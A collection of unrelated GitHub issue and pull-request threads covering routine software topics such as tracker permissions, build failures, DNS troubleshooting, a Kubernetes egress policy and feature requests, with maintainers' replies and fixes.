Edit your own ticket according to the ticket status

You should be able to edit your own ticket as long as you can also theoretically change the ticket status. Otherwise you should only be able to post comments.
So I would simply tie the option to edit a ticket to the users right for changing a ticket's status.

We thought this thru now and it seems the best way to solve this would be another role limit field per tag.
"Limit Edit". (Important: this should then only be available in status tags).
The rest is again pretty straigt forward.
I could then allow the user role to edit issues while the status is "New" (which would be the default status in my system for new issues) by setting the limit of this tag to "User" and then set all other edit limits to at least developer. But I can also prevent for example developers from editing ticket while I discuss (status: Discuss) them among managers.
This solution would also be consistent with the current concept.

This seem to work so far. Trying to edit a protected issue shows:
No no no, not this page.
Server Error: 401 (Unauthorized)
I think it would be better to disable the edit button/function completely on readonly and show a small 'lock' icon instead.

If you look at the develop test instance - there an issue "This is Jims little issue".

Now if you're logged in as Jim than you cannot edit the issue, despite the fact that the tag NEW does NOT make the issue READONLY.
Also if you're logged in as Chief Andy you're a manager and therefore see all assigned users. (Not as anonymous, but always with theit correlt name) - The admin user "Master Colin" already dies that but then admin should be manager + special rights.

I'm not clear about what you mean by the last comment :)

The latest code in develop branch should allow users to edit their issue if the current tag is not read only. (I have not tested it)

Did you make the changes just now? I couldn't male this work yesterday

I just pushed the changes to github.

Okay thanks. I'll check this out

In the test system the user "Jenna" just created the issue "Jenna wrote this issue to see if she's still able to edit it afterwards". Neither tag should prevent her from editing but I receive an error when I try to edit the issue.

User: Client Jane
Issue: "The software does not work on mondays"
Tag NEW - has a limit access role of USER, yet Client Jane who created the issue cannot edit the issue although the status does not seem to forbid this

fix deployed to develop. You will need to run composer update.

Updating just now....

I tried to update again. But still I get the error.

I have deployed another fix. This area will need to be planned better. I think your suggestion in #132 might be in the right direction just need more info and planning.

Now I can edit the issue as "Client Jane", but when I change the issue type from ISSUE to ENHANCEMENT then the status NEW is lost. The issue ends up with no current status.

I have pushed a fix for the tag reset issue.

User role is only an observer in the issue and project. This change add extra ability that the creator of the issue can edit the issue with limited options.
User role cannot add comments or upload attachments.
Roles permissions:

Admin: can do everything
Manager: can edit everything in all projects.
Developer: can edit issues in projects they belongs to.
User: an observers (new change allowing them to edit issue they have created).

They're now able to edit their own issue according to the status, right?  I think it's only logical that they can comment on that issue no matter if the status locks the issue itself.
I always saw the comments as a type of chat where developers and users (bug reporters) are able to talk about an issue at hand.

So in a public project all users should probably be able to comment issues in the projects they're assigned to.

In an internal project - users should only be able to comment their own issues (which they've created).

In a private project.... well what? How exactly is a private project defined?

These changes related to role and permission i would prefer if we talk about it in all aspects and put one requirement for them. This to be done in another issue outside this one. Possibility as part of the new design as it  is going to be a new major release v3.
This is because the original Roles & Permissions are simples (comments above). Adding the extra features with tags and allowing user to edit made thing harder to code.
I want to plan all this to make it easier to manager.

Agreed. you're quite right. We should write down exactly what each role is allowed to do in which situation. I suggest a new github issue for that and to close this one now :D
btw. the lost tag issue is resolved now :)


Variable dragging room according to DPI scaling factor when resizing frameless window

Related to tauri#3040
I'm using a '13 Windows laptop with 4k resolution (3840*2400 in detail) and I currently set the DPI scaling to 250%. Current room for resizing is like only half or even 1/3 of a framed window.
I feel like that simply increasing the resizing border in pixel does not solve the problem. I agree that it would be better if the room could be variable according to the DPI scaling factor.

I tested and It looks good to me.
On the other hand, though, the boarder dragging room emphasizes the flickering of the cursor when the cursor is hovering inside the dragging room (which is also mentioned in tauri/#3040) In detail, the cursor would quickly flicker between "default" and "two-sized arrow", and making it somewhat hard to identify if I can resize the window with current cursor position (since sometimes the cursor would be "default" when I stop moving it inside the dragging room).
Although the flickering problem should be another issue (or there has been one but I haven't found that), please feel free to close this issue.

@idlist feel free to open another issue for the flickering and if possible, attach a video recording


Marp preview not work

Hi,
When I try toggle markdown with marp, nothing happend but my header marp: true is changed to marp: false. The same situation if call it in Ctrl + Shift + P.
What's wrong here?

marp.markdown.toggleMarpPreview just toggles preview mode for opened preview.
Please follow VS Code's help to open Markdown preview. (Press Ctrl + Shift + V)

Fine, it works! Thank you very much!

marp.markdown.toggleMarpPreview just toggles preview mode for opened preview.
Please follow VS Code's help to open Markdown preview. (Press Ctrl + Shift + V)

Should probably be better reflected in VS Code MArp README.md - you install it, but nothing happens, a bit frustrating to need to look for special key combination.

Should probably be better reflected in VS Code MArp README.md - you install it, but nothing happens, a bit frustrating to need to look for special key combination.

The most of users should not require to know a key combination because VS Code's Markdown preview can open from the toolbar icon. There is next to Marp icon and easy to find.
Actually, Ctrl + Shift + V may not work if user or an other installed extension (such as Markdown Preview Enhanced) have changed key mapping in VS Code. A way that may not work in some cases is not suited to describe in README.


Photos in JPEG format

Can I ask for the internal reference of the phone based on the JPEG format photos taken by Apple 12?

Hi~
I do not have ideas about the distortions of the photos taken by Apple 12. You could have a try.


Use Redux to manage application state

Both the webapp and mobile app are planning to move over to a Redux architecture.
We'll eventually want the desktop app moved to it too, perhaps later in Q3 or Q4 of 2017

EDIT: The action to move to pure React Native apps will be a different project. This issue is only to use Redux to manage application state.
Here are some references for React Native projects:

Windows: https://github.com/Microsoft/react-native-windows
Mac: https://github.com/ptmt/react-native-macos

If we moved over to the React Native apps, we could use this plugin to support the Universal Windows Platform (UWP): https://github.com/mattermost/mattermost-mobile/issues/286
We could also consider incorporating a more native Quick Look more easily for Mac: https://github.com/mattermost/desktop/issues/506
Related ticket for mobile repo: https://github.com/mattermost/mattermost-mobile/issues/286
Related uservoice request: https://mattermost.uservoice.com/forums/306457-general/suggestions/15012594-add-a-windows-universal-app-so-that-windows-10-mob

Ah, probably there is misunderstanding a little. I had meant "Using Redux to manage application state". To use the plugin, I think we need to move to a pure React app without webview first.

Hmm yeah, that makes sense.
I updated the title + description to reflect it.

Perhaps we can use Redux states to later migrate over to BrowserView: https://slack.engineering/growing-pains-migrating-slacks-desktop-app-to-browserview-2759690d9c7b

@yuya-oc As a follow-up, would this ticket be required before we can consider migrating over to BrowserView? https://slack.engineering/growing-pains-migrating-slacks-desktop-app-to-browserview-2759690d9c7b

@jasonblais Not required. However this would be a good option to sort out the app state management before migrating to BrowserView.

Moved to Jira: https://mattermost.atlassian.net/browse/MM-14060


Keyboard Shortcut

Thanks so much for this plugins. very useful.
Is there a way I can bind a keyboard key so it can scrobble the selected tracks?
I could not find one on the hotkeys section of Musicbee

Added in v1.1.2. The option now exists as ScrobbleItem: Scrobble Selected


Add job runtime info to sample

Sample.timestamp_results -> Sample.timestamp_job_start
add Sample.timestamp_job_end
add runtime in format hh::mm:ss to admin Samples table
add button to download samples data as csv to admin view
also a download as csv button for the admin users table
resolves #47

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 77.98%. Comparing base (b8b797b) to head (869616b).

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #48      +/-   ##
==========================================
+ Coverage   77.88%   77.98%   +0.09%
==========================================
  Files           8        8
  Lines         710      713       +3
==========================================
+ Hits          553      556       +3
  Misses        157      157

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Proper parsing for 1Inch swap errors

Paraswap and Matcha have proper result/error parsing to determine retryable errors. For 1Inch we have gotten some uncategorised errors like this one:

ERROR solver::solver::single_order_solver: 1Inch inner solver error: 1inch result parsing failed
Caused by:
missing field fromToken at line 1 column 52

I checked the logs for what type of response it returned in these cases: https://logs.gnosis.io/goto/2be95eb46e896ebea6db424f9679b773
This PR makes it so that we parse those responses and classify them as structure errors which allows deciding whether or not they should be retryable. For now 500 errors are classified as retryable (I checked the failing swap requests are now passing on their API)
Test Plan
Adjusted unit test for response parsing with sample response

Codecov Report

Merging #1039 (ae28dbf) into main (15c35b4) will decrease coverage by 0.03%.
The diff coverage is 80.00%.

@@            Coverage Diff             @@
##             main    #1039      +/-   ##
==========================================
- Coverage   64.36%   64.33%   -0.04%
==========================================
  Files         123      123
  Lines       23031    23017      -14
==========================================
- Hits        14825    14809      -16
- Misses       8206     8208       +2


feat: add api to get the dependencies from kcl.mod

1. Does this PR affect any open issues?(Y/N) and add issue references (e.g. "fix #123", "re #123".):

[x] N
[ ] Y

2. What is the scope of this PR (e.g. component or file name):

3. Provide a description of the PR(e.g. more details, effects, motivations or doc link):

[x] Affects user behaviors
[ ] Contains syntax changes
[ ] Contains variable changes
[ ] Contains experimental features
[ ] Performance regression: Consumes more CPU
[ ] Performance regression: Consumes more Memory
[ ] Other

4. Are there any breaking changes?(Y/N) and describe the breaking changes(e.g. more details, motivations or doc link):

[x] N
[ ] Y

5. Are there test cases for these changes?(Y/N) select and add more details, references or doc links:

[x] Unit test
[ ] Integration test
[ ] Benchmark (add benchmark stats below)
[ ] Manual test (add detailed scripts or steps below)
[ ] Other

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

3 of 3 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.04%) to 41.449%

Totals

Change from base Build<PHONE_NUMBER>:
0.04%

Covered Lines:
1733

Relevant Lines:
4181

💛  - Coveralls


feat: WebRTC support

Describe the feature you'd like to request
yjs supports y-webrtc provider.
It will be great if pluv can also support WebRTC in addition of the existing websocket solution to offer P2P and E2E.
Describe the solution you'd like to see
A basic support for WebRTC should be doable using y-webrtc.
New createRoom options should be provided to support the signaling server endpoint and the secret for encryption.
The features that have a greater impact on the existing codebase are related to awareness (presence, other users, etc.) that need to be handled specifically for WebRTC compared to the existing implementation for WebSockets.
Describe alternate solutions
No alternate solution so far.
Additional information
No response
👨👧👦 Contributing

[ ] 🙋♂ Yes, I'd be down to file a PR implementing this feature!

Thank you David, it makes sense. Great project by the way :rocket:


Cannot access blocked site without https

I have an issue if the site running "http" its not working and redirecting to my ISP warning, but it's working fine on https.
So how to fix it ?
running on ubuntu 16.04 kernel  4.16.2
dnscrypt -version 2.0.9
using browser firefox 59.0.2, Opera 52 , Chrome  65

contents transferred via http can be easily captured and rewrited.but https don't.

So how to fix it ?

Don't browse via http and use https (why?), get a different ISP, use TOR or use a VPN?. There is nothing dnscrypt-proxy can do about this. Like @xSak94664 http traffic is frequently manipulated by MiTM

Hi.
I think your ISP is doing a bad job of blocking if it can be so simply bypassed. They should know better. I should mention that if they block sites they are probably doing some kind of data collection/monitoring/tracking too. So I recommend using the solutions I mentioned above.

On 16 Apr 2018, at 3:21 pm, haidarvm<EMAIL_ADDRESS>wrote:
Ok i found the solutions just put some string of the link at the end of url
example :
http://reddit.com/test
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.


Add azure-ai-generative to package list

Why are you adding this package manually? It should get added automatically once this package is published.

Why are you adding this package manually? It should get added automatically once this package is published.

The onboarding instructions doc said I should add it manually. I can close this PR if that's incorrect.

@danieljurek can you clarify that documentation? In general as long is the package goes through our normal release processes it will get added automatically to the csv file. You might need to manually tweak some fields in here for docs purposes but the package itself shouldn't need to be added manually.

@danieljurek can you clarify that documentation? In general as long is the package goes through our normal release processes it will get added automatically to the csv file. You might need to manually tweak some fields in here for docs purposes but the package itself shouldn't need to be added manually.

Thanks for the clarification!


"connection refused" when running theme commands

I am having virtually the same bug described in this closed issue, which was closed as being a DNS issue. I don't think I have a DNS issue, though, but maybe I'm missing something...
I have an environment called "production", which in my config.yml is simply:
production:
  password: MY_PASSWORD
  theme_id: "MY_THEME_ID"
  store: MY_STORE.myshopify.com

When I run theme download -e production, I get the following error:
request failed after 5 retries with error: Get https://theme-kit-access.shopifyapps.com/cli/meta.json dial tcp: lookup theme-kit-access.shopifyapps.com on [::1]:53: read udp [::1]:51682->[::1]:53: read: connection refused

I disabled my firewall, which made no difference.
iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

I also ran the following command to see if I could connect based on the headers in the themekit source:
curl -i https://theme-kit-access.shopifyapps.com/cli/meta.json -H "X-Shopify-Access-Token: MY_PASSWORD" -H "Content-Type: application/json" -H "Accept: application/json" -H "X-Shopify-Shop: MY_STORE.myshopify.com"

That curl command worked fine, and returned a JSON object with basic information about my shop.
I'm using systemd-resolved for DNS, and resolvectl query theme-kit-access.shopifyapps.com returns the following:
theme-kit-access.shopifyapps.com: <IP_ADDRESS> -- link: wlan0
                                  <IP_ADDRESS> -- link: wlan0

-- Information acquired via protocol DNS in 112.7ms.
-- Data is authenticated: no; Data was acquired via local or encrypted transport: no
-- Data from: cache network

My Environment:

Arch Linux
ThemeKit 1.3.0 linux/amd64
DNS is systemd-resolved
Firewall is iptables

Well, in contrast to my overly confident assertion that this was not a DNS issue, it was a DNS issue. Sorry for the waste of time. I'll leave the solution here for anyone who comes across it.
Per this Stack Exchange post, there are some commands which read /etc/resolv.conf directly rather than relying on systemd-resolved or nsswitch. To test this out easily, drill is one such command.
Adding a fixed DNS server (in my case adding nameserver <IP_ADDRESS>) to my /etc/resolv.conf allowed drill and Themekit to both resolve the DNS and connect.

thanks travis, it helped me resolve the same issue on my end.
instead of messing around with scutil or networksetup I went into System Settings → network → advanced → DNS and added <IP_ADDRESS> and it worked again
thanks again, I would like to know how my set up was working one day and then the other it stoppen.. but anyways, baack to work


CDK for Go requires bash

Bundling of Go code doesn't work without bash as required by the CDK.

It fixes this error I get in my Github actions since I switched back to this release channel. Error: spawnSync bash ENOENT
go: downloading github.com/Masterminds/semver/v3 v3.2.1
go: downloading github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.10.5
Bundling asset auth/create-user-from-cognito/Code/Stage...
panic: Failed to bundle asset auth/create-user-from-cognito/Code/Stage, bundle output is located at /github/workspace/cdk.out/bundling-temp-5ddc6744cceac05b114e1c52e[50](https://github.com/sale-nook/backend/actions/runs/7861034937/job/21448903462#step:8:51)ce54f0fcff1d63ed19a47186b212c603658db-error: Error: spawnSync bash ENOENT

goroutine 1 [running]:
github.com/aws/jsii-runtime-go/runtime.Create({0x142fcf7, 0x27}, {0xc00043b710, 0x3, 0x3}, {0x13c0460, 0xc00041eb90})
	/go/pkg/mod/github.com/aws/jsii-runtime-go@v1.92.0/runtime/runtime.go:202 +0xd3a

Thanks, released in https://github.com/ScottBrenner/aws-cdk-action/releases/tag/v1.6.1.


Minor Fixes

Added Item Rec (games necklace to Troll Romance)
Fixed Western Hard Combat Requirement for Vet Pest Control boat (fixes #874)

Apologies that this pr is a bit of a mess, the code itself should be just fine.


Add Litestream

fairly certain zips and .tar.gz won't work as an install target.  Needs to be a binary since the package install process literally just unpacks it onto the PATH.

fairly certain zips and .tar.gz won't work as an install target.  Needs to be a binary since the package install process literally just unpacks it onto the PATH.

I tried it locally, it worked
I use the  just build Command to build the wheel and install it in a virutalenv and it worked

My bad :-)
I totally forgot that I had added the .tar.gz and .zip extract modes.


Added a sort results feature

Sort results works by sorting the results in descending ('top') or ascending ('bottom') order by upvote ratio - which is provided by the Reddit API. Highest results have the highest upvote ratio, and lowest have the lowest upvote ratio.
E.g.
RedditImageFetcher.fetch({
    sort: 'top',
    total: 50
}).then(result => {
    console.log(result);
});

// Or

RedditImageFetcher.fetch({
    sort: 'bottom',
    total: 50
}).then(result => {
    console.log(result);
});

@arifszn
Just thought I would ping you in case you hadn't noticed it :)

Sorry for the late response.
The sorting should be handled by Reddit itself. I want to keep the results random instead of keeping the first ones better than the bottom ones.
This PR will close issue #8. Thanks for the PR though.

Understood, thanks for reviewing it though :)


Unable to get labels working when using Neovim for VSCode

When using lightspeed in VSCode with the Neovim extension, when using 2 char search, labels are not displayed, only the targets are highlighted. When using nvim directly, this works fine.
Example: when using command sbl , the following happens:

This is something that should be fixed by vscode-neovim (and/or core) eventually. Related issues:
https://github.com/asvetliakov/vscode-neovim/issues/363
https://github.com/justinmk/vim-sneak/pull/284
https://github.com/justinmk/vim-sneak/pull/285

This will soon be fixed by https://github.com/vscode-neovim/vscode-neovim/pull/868!

Extmark/lightspeed is now supported in vscode!
Important: currently, you need to set hi LightspeedCursor gui=reverse in your nvim config to make lightspeed work.


Cannot read property 'chain' of null, Electron

I'm trying to return a list / array of database data.
I found some examples, a little confusing, I tried here but it didn't work. My code right now looks like this
var clientes = db.getCollection('clientes'); var resultado = clientes.chain().simplesort("mame").data(); console.log(resultado)
In the console it returns this: "index.js:9 Uncaught TypeError: Cannot read property 'chain' of null"
i'm using loki js

What do you get if you try:
var items = clientes.data
explanation: "data" can be two things:

a property of the collection - gets you all collection data as an array of objects. Careful because it is passed by reference, so for example if you modify "items" above like:
delete items[0]
the 1st document from the collection clientes  will be deleted.

"data" can also mean the data() method (function) of the resultSet object - it does a similar job as "data" property above but is used with chain()

I suppose you are not initialising the "db" properly so whatever you do will return null/undefined.
That's why I asked about what clientes.data returns.
Cheers.


Cannot build because packages not found

Hello, I am under archlinux and when I try to compile the edited file, I have errors like:
error: package android.XXX does not exist
How to solve that ?

UPDATE

.


Implement support for nested query arguments

We need to implement the ability to, within a selection builder, provide arguments for nested queries:
{
  user(id: 1234) {
    email
    name
    posts(first: 10, sort: "ascending") {
      title
      content
    }
  }
}

I'm not sure what the most intuitive approach would be. Here's the first thought that comes to mind:
const userQuery = new UserQuery(
  { id: 1234 },
  user => user
    .email
    .name
    .posts.first(10).sort("ascending")(
      post => post.title.content
    )
);

Implemented, published version 0.0.42

Actually, changed my mind. Instead of chaining functions, you can now pass an args argument to the query. This allows for support of required args:
const userQuery = new UserQuery(
  { id: 1234 },
  user => user
    .email
    .name
    .posts(
      { first: 10, sort: "ascending" },
      post => post.title.content
    )
);


Crystal tool format error

Trying to run crystal tool format on
require "./spec_helper"

describe Earley do
  # TODO: Write tests

  it "works" do
    x = Earley::Grammar.new :S, {
                              S: [
                                Earley::Rule.new(:S, ['a', :X, :X, 'c'], nil)
                              ],
                              X: [
                                Earley::Rule.new(:X, [:X, 'b'], nil),
                                Earley::Rule.new(:X, [] of Earley::GrammarSymbol, nil)
                                 ]
                            }
    x.parse "abbc"
  end
end

gives
Error: couldn't format './spec/earley_spec.cr', please report a bug including the contents of the file: https://github.com/manastech/crystal/issues

Fixed by https://github.com/manastech/crystal/commit/74b76fefa679927c12c837552279fa954b104be3


Add count to s3 policy

Describe the big picture of your changes here to communicate to the maintainers why we should accept this pull request. If it fixes a bug or resolves a feature request, be sure to link to that issue.
Types of changes
What types of changes does your code introduce to <repo_name>?
Put an x in the boxes that apply

[ ] Bugfix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Documentation Update (if none of the other choices apply)

Checklist
Put an x in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code.

[ ] I have read the CONTRIBUTING.md doc.
[ ] I have added necessary documentation (if appropriate).
[ ] Any dependent changes have been merged and published in downstream modules.

Add on PR https://github.com/DNXLabs/terraform-aws-openvpn/pull/16


Add stacked ensembling to AutoML documentation

Closes #1329
Docs here

@freddyaboulton Great suggestion!! I filed https://github.com/alteryx/evalml/issues/1461 to track this 😁


Not able to upload a new version to the baget server

Bug Description:
I am not able to upload and push my nuget package new version to the server. I keep getting a  500 internal server error.  I am usign baget version v3 and when I push it using command below for some reason its always showing v2..
dotnet nuget push -s https://baget.dev-company.com/v3/index.json MyNuget.1.0.14.nupkg -k APIKey
I get the following logs in cmd
Pushing MyNuget.1.0.14.nupkg to 'https://baget.dev-company.com/api/v2/package'...
PUT https://baget.dev-company.com/api/v2/package
InternalServerError https://baget.dev-company.com/api/v2/packagee/ 935ms
PUT https://baget.dev-company.com/api/v2/package
InternalServerError https://baget.dev-company.com/api/v2/package/ 360ms
PUT https://baget.dev-company.com/api/v2/package
InternalServerError https://baget.dev-company.com/api/v2/package/ 507ms
error: Response status code does not indicate success: 500 (Internal Server Error).
#Container Logs
fail: BaGet.Hosting.PackagePublishController[0]
Exception thrown during package upload
System.InvalidOperationException: Failed to store package mynuget 1.0.14 due to conflict
at BaGet.Core.PackageStorageService.SavePackageContentAsync(Package package, Stream packageStream, Stream nuspecStream, Stream readmeStream, Stream iconStream, CancellationToken cancellationToken) in /src/BaGet.Core/Storage/PackageStorageService.cs:line 141
at BaGet.Core.PackageIndexingService.IndexAsync(Stream packageStream, CancellationToken cancellationToken) in /src/BaGet.Core/Indexing/PackageIndexingService.cs:line 163
at BaGet.Hosting.PackagePublishController.Upload(CancellationToken cancellationToken) in /src/BaGet.Hosting/Controllers/PackagePublishController.cs:line 81
To Reproduce
Steps to reproduce the behavior:

Using this version of BaGet v3
Do to your directory where your nuget package is and use this commnd to push to your server
dotnet nuget push -s https://baget.dev-company.com/v3/index.json MyNuget.1.0.14.nupkg -k APIKey

Expected behavior
Nuget package successfully uploaded to baget server

Were you able to fix your issue? In case any one else runs into this problems, I would suggest enabling hard deletions, running dotnet nuget delete on the affected package, and then pushing it again.

I just fixed this by adding write permission of baget folder to iis user

Check https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/advanced?view=aspnetcore-6.0#application-pool-identity for detail

Bro you respond after 2 years.. lmao
On Mon, Sep 5, 2022 at 5:48 PM humhei @.***> wrote:

I just fixed this by adding write permission of baget folder to iis user
[image: image]
https://user-images.githubusercontent.com/25994449/188515048-f5365e2c-3cc4-4b0b-b7b0-12d3b4dccb6f.png
Check
https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/advanced?view=aspnetcore-6.0#application-pool-identity
for detail
—
Reply to this email directly, view it on GitHub
https://github.com/loic-sharma/BaGet/issues/584#issuecomment-1237479469,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AL2IRIKBCYXT5WPWMKRNTWTV4ZTBJANCNFSM4QSCXOSQ
.
You are receiving this because you modified the open/close state.Message
ID: @.***>


cmake shared lib build fails

Using LLVM16 compiler toolchain on Windows. VS2022 is also installed.
Steps taken

git clone OpenBLAS, md build, cd build
cmake .. -G Ninja -DDYNAMIC_ARCH=ON -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON
attempt to build using straight ninja command or cmake .. --build --config Release

Fails with ninja subcommand failure message. It looks like it fails attempting to link test executables. Linker missing a number of CBLAS routines.
Same process succeeds building static libs.

Can you share your build log please ? I cannot reproduce this in our CI so far (though actually running the tests requires putting the DLL somewhere on the search path, e.g. by copying it from build/lib to build/test and build/ctest)

I will try again and share the log. I am working on the Windows Threading
issue right now.
On Wed, May 31, 2023 at 2:42 AM Martin Kroeker @.***>
wrote:

Can you share your build log please ? I cannot reproduce this in our CI so
far (though actually running the tests requires putting the DLL somewhere
on the search path, e.g. by copying it from build/lib to build/test and
build/ctest)
—
Reply to this email directly, view it on GitHub
https://github.com/xianyi/OpenBLAS/issues/4064#issuecomment-1569850573,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEANBODGNQX6SFCRQJPW5KTXI4HAFANCNFSM6AAAAAAYQQDJWE
.
You are receiving this because you authored the thread.Message ID:
@.***>


Autocomplete in website http://slang.kylestetz.com

So, please... add support for autocomplete code in Sublime Text and very others programs this type.  ;D

Thanks for the suggestion 😄
I don't have any plans to add support for other IDEs, since that would imply that there's a way to run the Slang runtime outside of the editor website. This project does use CodeMirror, though, so I'm sure there's a way to add support for autocompleting function names (and even variable names you've created). I'll look into it!

Json+Jquery for this... is cool ;D

I'm hoping for this feature in the future. But, I'm working now to make it happen in the now.  So, This is a prototype of your json language. Link: https://github.com/OlivieBright/autofull-slang/blob/master/slang.json


Send a message

Hello!
Can you explain me only the steps (in the Main method) about "How to send a simple message with the receiving phone number and the String message?
Thank you very much!

تکراری تکراری از #


An option to display idle notifications regardless of user input

Is your feature request related to a problem? Please describe.
The new Idle Notifications have one flaw, that isn't technically a flaw, but it could be a little better:
a notification is not displayed when the client detects user input, for example, when moving the mouse as the mining animation stops.
Describe the solution you'd like
The solution to this would be making it(preferably an option, since I'm sure not everyone would want this) so that the notification would be sent regardless if the user is active in the client or not. Consider such a case:
The mouse is being dragged through the client as the skilling animation is finished. The user is not paying attention and the idle notification is not displayed, since the client detects mouse movement and therefore thinks that the user is not afk. The user now either notices this sometime after it happens or gets the notification that the account is about to log out, both of which may take some time and defeat the purpose of idle notifications.
Additional context
Ideally, there could be a checkbox in the Idle Notifcations plugin settings such as this:
"Display notifications regardless of user input".
While having this on, the idle notifications are displayed no matter what.
While having this off the idle notifications are not displayed when there is mouse activity in the client.

Huh, is this why that plugin seems so unreliable? I thought it was a bug this whole time.

Pretty much, I thought it was bugging out on me at first, but I did a few tests and all signs point to some user input detection that determines whether or not an idle notification will be shown.

I think rather than adding an option this should just be changed, most people aren't going to know it's intended behaviour.

it happens very rarely that you move your mouse at the same time as your anim ends, i would just keep it as is. maybe change it from detecting movement and clicks to just clicks?

To be honest, I can understand both sides of the argument - I have two monitors and have Runelite on the primary one in full screen. For me the issue happens often enough for it to be annoying. But then again, when I remember the old idle notifications and how I tried using them with a 1000ms delay, I would get spammed for a lot of random things despite being active, setting it to 2000 or 3000 would fix it.
That being said, if an option to toggle the feature request seems redundant or too big of a task, I'd gladly agree with either of your suggestions. I'm just glad that I'm not the only one who finds the current behaviour weird and slightly infuriating.

Atm the idle notifier is checking for < 10 client mouse idle ticks, that should be around ~200ms timeframe for such thing to happen. I can change it to 1, what is 20ms, that would still most likely remove the falsy notifications, what is another alternative what to do in this case.
But, I think I am most inclined to toggle that is off by default, eg something like you suggested Display notifications regardless of user input, as otherwise the system is working fine for most people.

Yup, I feel like having such a toggle would please both parties!

What's the benefit of not notifying if there is mouse activity? The logout notification already checks for that and with the others it doesn't seem like it should apply

To prevent false notifications as @RaspberrySchnapps mentioned. E.g with that you will not get any false thieving notifs, or random notifs when emptying birdhouses etc, you only get notifications when you are really idle, so only those you care about.

Ahh I see. Yeah I guess it is worth having a toggle then

I created #5403 what is using last mouse and keyboard press events what will mitigate this issue as well, and is probably better than toggle. Also, it makes more sense as it is using same mechanism to check for idle state as client (as client is ignoring mouse movement events too).


add KAS egress network policy

Once more!
https://issues.redhat.com/browse/HOSTEDCP-829
The objective of the policy is to block service network egress traffic outside the HCP namespace for the KAS, the one exception being access to DNS in the openshift-dns namespace.
Resulting policy on an OCP mgmt cluster
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kas
spec:
  egress:
  - to:
    - podSelector: {}
  - to:
    - ipBlock:
        cidr: <IP_ADDRESS>/0
        except:
        - <IP_ADDRESS>/16
  - ports:
    - port: 5353
      protocol: UDP
    - port: 5353
      protocol: TCP
    to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: openshift-dns
  ingress:
  - ports:
    - port: 6443
      protocol: TCP
  - ports:
    - port: 443
      protocol: TCP
  podSelector:
    matchLabels:
      app: kube-apiserver
  policyTypes:
  - Ingress
  - Egress

/test aws-conformance

/test e2e-conformance

/retest-required

@sjenning are you going to apply egress firewall on top to handle external connections?

/test e2e-conformance

/lgtm
/hold
on https://github.com/openshift/hypershift/pull/2181#discussion_r1109917595 feel free to cancel
please cherry-pick to 4.12

/hold cancel


update: use existing folders as vaults

**Using existing folder as vault is supposed to be a separate feature from folder creation.
This repo isn't accepting contributions atm.
Closing this PR.


Improvement for k8s.io/docs/concepts/services-networking/service/

A link reference from https://kubernetes.io/docs/concepts/services-networking/service/#dns to https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ has the title text DNS Pods and Services whereas the current title of that page is DNS for Services and Pods
It will be a little less confusing if the link title was adjusted to be the same as the page title.

/sig docs
/language en
/assign

/kind suggestion
page to be updated: https://kubernetes.io/docs/concepts/services-networking/service/#dns
@amosshapira,
I Agree on your point. If triage accepted, i will update this reference text from DNS Pods and Services to DNS for Services and Pods that can avoid confusion.

page to be updated: https://kubernetes.io/docs/concepts/services-networking/service/#dns
@amosshapira,
I Agree on your point. If triage accepted, i will update this reference text from DNS Pods and Services to DNS for Services and Pods that can avoid confusion.

This issue got resolved with PR #38279.


Windows and cmake compatibility.

Make cmake happier, it doesn't like multiple target_link_library definitions for the same name.
Use find_package instead on Windows for dlfcn-win32.
Set LLVM_SYS_PATH on Windows for python setup.
Debug build almost working, AlwaysCreate error thrown still.

@BillSchumacher Is it still possible to build on Windows? I'm getting the same errors shown here.


Clarify the use case for the plants layer

Hey @markus2330,

Is it only changing of whitespace? I am okay either way with whitespace. Best would be if prettier simply does it for us.

My original idea was to open a PR with some initial changes to start working on the clarifications through GitHub suggestions together. Since you've extended the clarifications with more information in an independent PR, we can close this one. Thank you for your quick response and contribution!


docs: correct attribute name in README

Corrected the exported attribute name from 'SyntaxContextType' to 'EntityContextType' in the README
Ensures documentation is consistent with the latest API

+1


godot-rust is not working on macos (using dylib and not dll)

I am following the hello world example on macos. I have followed all the steps but i keep getting an error:
Error loading GDNative file res://bin/warbath.dylib: GodotEngine v4.* is not yet supported. See https://github.com/godot-rust/godot-rust/issues/396
i am using godot 3.5 stable, godot-rust 0.10.0, rustc version 1.62.1
i am guessing that it is because i am trying to use a dylib instead of dll. but macos rust only produces dylib.

Since you're using Godot 3.5, can you check if https://github.com/godot-rust/godot-rust/pull/910 works for you?
You can use that branch as follows:
[dependencies]
gdnative = { git = "https://github.com/Bromeon/godot-rust.git", branch = "feature/godot-3.5" }

[lib]
crate-type = ["cdylib"]

It worked!!

Since you're using Godot 3.5, can you check if #910 works for you?
You can use that branch as follows:
[dependencies]
gdnative = { git = "https://github.com/Bromeon/godot-rust.git", branch = "feature/godot-3.5" }

[lib]
crate-type = ["cdylib"]

Thank you so much

Happy to hear that, and thanks for trying that branch!
Every person testing it increases the confidence in our Godot 3.5 support 🙂

Any ideas how i can automate the build and import to godot? having to copy lib files after editing gets difficult with multiple files and frequent changes.

The gdnlib path can refer to something outside the Godot repository, e.g. res://../rust/target/debug/game-logic.dylib.
This way, you don't need to copy lib files, but you may need to minimize (not close) Godot when you build Rust.
